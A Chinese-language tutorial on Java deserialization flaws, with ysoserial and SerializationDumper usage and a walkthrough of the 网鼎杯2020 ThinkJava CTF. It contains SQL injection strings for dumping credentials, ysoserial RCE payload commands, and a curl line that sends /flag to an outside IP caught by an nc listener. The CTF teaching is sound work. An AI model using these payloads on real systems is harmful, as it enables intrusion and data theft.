总览

序列化和反序列化的概念:

序列化:把Java对象转换为字节序列的过程。
反序列化:把字节序列恢复为Java对象的过程。
对象的序列化主要有两种用途:
把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;(持久化对象)
在网络上传送对象的字节序列。(网络传输对象)

函数接口:

Java: 
Serializable Externalizable接口、fastjson、jackson、gson、ObjectInputStream.read、
ObjectObjectInputStream.readUnshared、XMLDecoder.read、
ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.parseObject等
PHP:
serialize()、 unserialize()
Python:
pickle

数据出现:

  • 功能特性:

    • 反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。因此审计过程中重点关注这些功能板块。
  • 数据特性:

    • 一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
    • 或者如果以aced开头,那么他就是这一段java序列化的16进制。
  • 出现具体:

    http参数,cookie,sesion,
    存储方式可能是base64(rO0),压缩后的base64(H4s),MII等
    Servlets http,Sockets,Session管理器,
    包含的协议就包括:JMX,RMI,JMS,JND1等(\xac\Xed) xm lXstream,XmldEcoder等
    (http Body:Content-type: application/xml)
    json(jackson,fastjson)http请求中包含
  • 发现:

    • 黑盒分析:数据库出现地-观察数据特性
    • 白盒分析:组件安全&函数搜索&功能模块
  • 利用:

    • Ysoserial集成的jar包配合生成,特性的专业漏洞利用工具等

实战

原生API-Ysoserial_URLDNS使用

JAVA反序列化组件:Ysoserial。

Serializable 接口
Externalizable 接口

没组件生成DNS利用:

https://github.com/frohoff/ysoserial

利用output的java对象去ping通远程地址(带外访问测试)
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://9ar7xl.dnslog.cn" > urldns.ser

三方组件-Ysoserial_支持库生成使用

部分功能需要第三方库。

https://github.com/WebGoat/WebGoat
有组件生成RCE:

// 1、生成:
java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibern ate1 "calc.exe" > x.bin
或者带外测试:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "带外的网址"
// 2、解码:python java.py

使用Python的base64加密文件内容

import base64
file = open("x.bin","rb")
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()

解密分析-SerializationDumper数据分析

可用于解密hex数据/raw数据等

https://github.com/NickstaDB/SerializationDumper
java -jar SerializationDumper-v1.13.jar -r urldns.ser >dns.txt

CTF赛题-[网鼎杯2020朱雀组]ThinkJava

0x01 注入判断,获取管理员帐号密码:

根据提示附件进行javaweb代码审计,发现可能存在注入漏洞
另外有swagger开发接口,测试注入漏洞及访问接口进行调用测试
数据库名:myapp,列名name,pwd
注入测试:

POST /common/test/sqlDict
dbName=myapp?a=' union select (select name from user)##
dbName=myapp?a=' union select (select pwd from user)##

0x02 接口测试

/swagger-ui.html接口测试:
{
"password":"admin@Rrrr_ctf_asde",
  "username": "admin"
}
登录成功返回数据:
{   "data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu",   "msg": "登录成功",   "status": 2,   "timestamps": 1617614357281 }

0x03 回显数据分析攻击思路

JAVAWEB特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段java序列化的16进制。
分析数据:
先利用py2脚本base64解密数据

import base64
a = "rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu"
b = base64.b64decode(a).encode('hex')
print(b)
再利用SerializationDumper解析数据 java反序列化字节转字符串工具
java -jar SerializationDumper-v1.11.jar aced000xxxx

0x04 生成反序列化payload

解密后数据中包含帐号等信息,通过接口/common/user/current分析可知数据有接受,说明存在反序列化操作,思路:将恶意代码进行序列化后进行后续操作
利用ysoserial进行序列化生成

java -jar ysoserial-master-30099844c6-1.jar ROME "curl http://47.94.236.117:4444/ -d @/flag" > flag.bin

利用py2脚本进行反序列化数据的提取

import base64
file = open("flag.bin","rb")
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()

0x05 触发反序列化,获取flag

服务器执行:nc -lvvp 4444
数据包直接请求获取进行反序列数据加载操作